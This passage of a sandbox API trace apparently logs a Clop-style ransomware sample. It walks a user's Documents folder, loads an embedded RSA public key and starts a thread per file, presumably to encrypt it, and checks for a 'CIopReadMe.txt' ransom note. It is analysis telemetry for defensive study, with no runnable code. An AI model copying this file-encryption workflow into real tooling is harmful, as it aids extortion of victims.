MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.185] lstrcpyW (in: lpString1=0x2dc93de, lpString2="hfoKW.pptx" | out: lpString1="hfoKW.pptx") returned="hfoKW.pptx" [0089.185] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.185] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8 [0089.185] SetErrorMode (uMode=0x1) returned 0x1 [0089.185] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.185] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0089.185] CloseHandle (hObject=0x3c0) returned 1 [0089.185] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.185] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf", lpString2="..") returned 1 [0089.186] lstrcmpW (lpString1="hJZX8AFOtoTuk B35pJ_.pdf", lpString2=".") returned 1 [0089.186] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.186] Sleep (dwMilliseconds=0xd) [0089.242] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.242] lstrcpyW (in: lpString1=0x2dc93de, lpString2="hJZX8AFOtoTuk B35pJ_.pdf" | out: lpString1="hJZX8AFOtoTuk B35pJ_.pdf") returned="hJZX8AFOtoTuk B35pJ_.pdf" [0089.242] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4 [0089.242] WaitForSingleObject (hHandle=0x3b4, dwMilliseconds=0xffffffff) returned 0x0 [0089.331] SetErrorMode (uMode=0x1) returned 0x1 [0089.331] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.331] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0089.331] CloseHandle (hObject=0x3c4) returned 1 [0089.332] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.332] lstrcmpW (lpString1="JF6Z1xvDFv.docx", lpString2="..") returned 1 [0089.332] lstrcmpW (lpString1="JF6Z1xvDFv.docx", lpString2=".") returned 1 [0089.332] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.332] Sleep (dwMilliseconds=0xd) [0089.356] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.356] lstrcpyW (in: lpString1=0x2dc93de, lpString2="JF6Z1xvDFv.docx" | out: lpString1="JF6Z1xvDFv.docx") returned="JF6Z1xvDFv.docx" [0089.356] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.356] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4 [0089.356] WaitForSingleObject (hHandle=0x3c4, dwMilliseconds=0xffffffff) returned 0x0 [0089.425] SetErrorMode (uMode=0x1) returned 0x1 [0089.425] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.425] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0089.425] CloseHandle (hObject=0x3c0) returned 1 [0089.425] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.425] lstrcmpW (lpString1="MI47.xlsx", lpString2="..") returned 1 [0089.425] lstrcmpW (lpString1="MI47.xlsx", lpString2=".") returned 1 [0089.425] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.425] Sleep (dwMilliseconds=0xd) [0089.450] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.450] lstrcpyW (in: lpString1=0x2dc93de, lpString2="MI47.xlsx" | out: lpString1="MI47.xlsx") returned="MI47.xlsx" [0089.450] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0089.450] SetErrorMode (uMode=0x1) returned 0x1 [0089.450] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.450] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0089.451] CloseHandle (hObject=0x3c8) returned 1 [0089.451] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.451] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx", lpString2="..") returned 1 [0089.451] lstrcmpW (lpString1="mlv6Gzv7Da-BgmdC.docx", lpString2=".") returned 1 [0089.451] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.451] Sleep (dwMilliseconds=0xd) [0089.466] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.466] lstrcpyW (in: lpString1=0x2dc93de, lpString2="mlv6Gzv7Da-BgmdC.docx" | out: lpString1="mlv6Gzv7Da-BgmdC.docx") returned="mlv6Gzv7Da-BgmdC.docx" [0089.466] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8 [0089.466] SetErrorMode (uMode=0x1) returned 0x1 [0089.466] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.466] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0089.466] CloseHandle (hObject=0x3d0) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.466] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.466] lstrcmpW (lpString1="nP0r3x5d.ods", lpString2="..") returned 1 [0089.466] lstrcmpW (lpString1="nP0r3x5d.ods", lpString2=".") returned 1 [0089.466] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.466] Sleep (dwMilliseconds=0xd) [0089.508] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.508] lstrcpyW (in: lpString1=0x2dc93de, lpString2="nP0r3x5d.ods" | out: lpString1="nP0r3x5d.ods") returned="nP0r3x5d.ods" [0089.508] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.508] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc [0089.508] WaitForSingleObject (hHandle=0x3bc, dwMilliseconds=0xffffffff) returned 0x0 [0089.612] SetErrorMode (uMode=0x1) returned 0x1 [0089.612] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.612] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0089.612] CloseHandle (hObject=0x3dc) returned 1 [0089.612] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.612] lstrcmpW (lpString1="o1_fy8.pptx", lpString2="..") returned 1 [0089.612] lstrcmpW (lpString1="o1_fy8.pptx", lpString2=".") returned 1 [0089.612] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.612] Sleep (dwMilliseconds=0xd) [0089.638] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.638] lstrcpyW (in: lpString1=0x2dc93de, lpString2="o1_fy8.pptx" | out: lpString1="o1_fy8.pptx") returned="o1_fy8.pptx" [0089.638] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.638] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc [0089.638] WaitForSingleObject (hHandle=0x3dc, dwMilliseconds=0xffffffff) returned 0x0 [0089.703] SetErrorMode (uMode=0x1) returned 0x1 [0089.703] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.703] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0089.703] CloseHandle (hObject=0x3d0) returned 1 [0089.704] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.704] lstrcmpW (lpString1="obHPe.pptx", lpString2="..") returned 1 [0089.704] lstrcmpW (lpString1="obHPe.pptx", lpString2=".") returned 1 [0089.704] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.704] Sleep (dwMilliseconds=0xd) [0089.733] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0089.733] lstrcpyW (in: lpString1=0x2dc93de, lpString2="obHPe.pptx" | out: lpString1="obHPe.pptx") returned="obHPe.pptx" [0089.733] lstrcpyW (in: lpString1=0x2dc8fde, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\" [0089.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40d400, lpParameter=0x2dc8e80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0 [0089.734] SetErrorMode (uMode=0x1) returned 0x1 [0089.734] wsprintfW (in: param_1=0x2dc8a44, param_2="%s\\CIopReadMe.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt") returned 46 [0089.734] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\CIopReadMe.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ciopreadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0089.734] CloseHandle (hObject=0x3d4) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.734] FindNextFileW (in: hFindFile=0x5d6a88, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0089.734] lstrcmpW (lpString1="SATDQcfMYoPlh.docx", lpString2="..") returned 1 [0089.734] lstrcmpW (lpString1="SATDQcfMYoPlh.docx", lpString2=".") returned 1 [0089.734] wsprintfW (in: param_1=0x2dc9a38, param_2="\\\\?\\%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Documents\\") returned 36 [0089.734] Sleep (dwMilliseconds=0xd) [0089.763] lstrcpyA (in: lpString1=0x2dc8e80, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho 